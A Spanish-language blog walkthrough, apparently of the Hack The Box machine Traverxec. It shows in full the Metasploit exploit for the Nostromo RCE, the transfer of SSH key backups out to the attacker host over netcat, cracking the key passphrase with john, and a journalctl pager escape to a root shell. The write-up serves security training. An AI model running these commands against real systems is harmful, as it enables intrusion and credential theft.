srubi00000@gmail.com
Madrid, Spain
– Politica de privacidad – Política de Cookies – Aviso Legal
WordPress
Traverxec es una máquina Linux fácil que cuenta con un servidor web Nostromo, que es vulnerable a
Ejecución remota de código (RCE). Los archivos de configuración del servidor web nos llevan a las credenciales SSH,
que nos permiten desplazarnos lateralmente al usuario david. Un script bash en el directorio de inicio del usuario
revela que el usuario puede ejecutar journalctl como root (minimizando el tamaño de la consola). Esto se aprovecha para generar un shell raíz.
-Enumeración
-Metasploit
-Descifrado de contraseñas
-Descifrado de claves SSH
-Usamos nmap sobre la IP:
> nmap -p- –min-rate=1000 -T4 10.10.10.165 -oG allPorts
El escaneo revela que los puertos 22 y 80 están abiertos.
Realizo otro escaneo para ver que versiones y servicios corren para éstos puertos y lo exporto al fichero targeted
nmap -sC -sV -p22,80 10.10.10.165 -oN targeted
Nmap informa que el encabezado del servidor http es
nostromo 1.9.6, lo que significa que la caja está ejecutando el servidor HTTP de Nostromo.
Nostromo o nhttpd es un servidor web de código abierto.
También podemos explotar la vulnerabilidad utilizando el módulo Metasploit. Iniciemos Metasploit e intentemos explotarlo:
msf > use exploit/multi/http/nostromo_code_exec
msf > set rhosts 10.10.10.165
msf > set lhost 10.10.14.20
msf > run
Los valores lhost y rhost se establecen según sea necesario y se ejecuta el módulo.
La explotación fue exitosa y se devuelve una shell.
A continuación, se puede generar un shell TTY usando python
> python -c ‘import pty;pty.spawn(«/bin/bash»)’
Enumeremos el sistema para encontrar vectores de escalada de privilegios. El archivo /etc/passwd revela un usuario llamado david. También revela que la raíz web de Nostromo es /var/nostromo/ . La carpeta /var/nostromo/conf contiene los archivos de configuración del servidor web.
Los archivos nhttpd.conf y .htpasswd parecen interesantes. El .htpasswd contiene una contraseña hash, que es crackeable, pero resulta inútil.
El archivo nhttpd.conf contiene la siguiente configuración.
> ls -al /home/david/public_www/
> ls -al /home/david/public_www/protected-file-area
La enumeración de la carpeta revela algunas claves SSH respaldadas. Vamos a transferirlos a nuestra caja usando netcat.
Ejecute el siguiente comando localmente para recibir el archivo.
> nc -lvp 1234 > backup.tgz
A continuación, ejecute el siguiente comando en el servidor para completar la transferencia.
> nc 10.10.14.20 1234 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz
Extraigamos los archivos dentro de backup-ssh-identity-files.tgz .
> tar -xvf backup-ssh-identity-files.tgz
Se encuentra que el archivo contiene claves SSH de las cuales, la clave privada id_rsa puede ser potencialmente ser utilizado para iniciar sesión como david.
> tar -xvf backup-ssh-identity-files.tgz
La asignaremos permiso 400 y l ausaremos para logearnos por ssh:
> chmod 400 id_rsa
> ssh -i id_rsa david@10.10.10.165
Sin embargo, la clave privada está encriptada y necesita una contraseña. Usemos a John para intentar descifrarlo.
Primero, extraiga el hash de la clave RSA usando ssh2john.
> python3 /usr/share/john/ssh2john.py id_rsa > hash.txt
Luego, descifralo usando john y la lista de palabras rockyou.txt.
> john –wordlist=/home/root/Documents/rockyou.txt hash.txt
> john –show hash.txt
Esto revela la contraseña para ser ‘hunter’, que usamos para SSH en la máquina.
> ssh -i id_rsa david@10.10.10.165
La bandera de User está en /home/david/.
El directorio de inicio del usuario contiene una carpeta llamada bin con los siguientes contenidos.
> cat server-stats.sh
La última línea es interesante ya que ejecuta journalctl usando sudo. Ejecutemos el script para ver el
Producción.
> ./servers-stats.sh
El script devuelve las últimas 5 líneas de los registros del servicio nostromo usando journalctl. esto es explotable porque journalctl invoca el buscapersonas predeterminado, que probablemente sea menos .
Este puede ser explotado mediante la ejecución de un comando de shell.
> /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
Ejecutaremos el comando con el tamaño de la consola reducido al minimo para que no quepan todas las lineas al mostrar, y en el indicador de 1-2 Linea, escribir encima el comando:
!/bin/bash
La ejecución fue exitosa y se generó el shell raíz. El indicador raíz se encuentra en /root/ .
– Politica de privacidad – Política de Cookies – Aviso Legal
WordPress